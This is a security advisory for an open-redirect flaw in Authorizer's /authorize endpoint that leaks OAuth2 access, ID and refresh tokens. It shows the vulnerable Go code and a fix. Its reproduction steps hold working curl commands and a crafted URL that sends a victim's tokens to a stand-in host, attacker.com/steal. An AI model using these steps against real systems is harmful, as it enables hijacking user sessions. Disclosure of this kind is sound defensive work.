CVE-2026-54072: Authorizer · Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL

## Summary The `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. Partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. ## Vulnerable Code `internal/http_handlers/authorize.go`: ```go redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) // ... no IsValidOrigin() call ... // response_type=token path (line ~263): if strings.Contains(redirectURI, "?") { redirectURI = redirectURI + "&" + params } else { redirectURI = redirectURI + "?" + params } handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL ``` Compare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`. ## Steps to Reproduce ```bash # 1. Obtain client_id (no authentication required) CLIENT_ID=$(curl -s http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") echo "client_id: $CLIENT_ID" # 2. Craft the malicious URL and send to victim (victim must be logged in) # When victim opens this URL, tokens are delivered to attacker.com MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query" echo "Send to victim: $MALICIOUS_URL" # 3. Attacker receives 302 redirect with all tokens: # https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ... # 4. Validate stolen token curl -s http://TARGET/userinfo \ -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" # Returns: {"email":"victim@example.com","id":"...","roles":["user"]} ``` ## Impact An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically. ## Proposed Fix Add the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1: ```go // In authorize.go, after reading redirect_uri: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "error": "invalid_request", "error_description": "redirect_uri is not allowed", }, http.StatusBadRequest) return } ```

• github.com/authorizerdev/authorizer/security/advisories/GHSA-h29v-hj44-q8cv (opens in a new tab)
• github.com/authorizerdev/authorizer (opens in a new tab)

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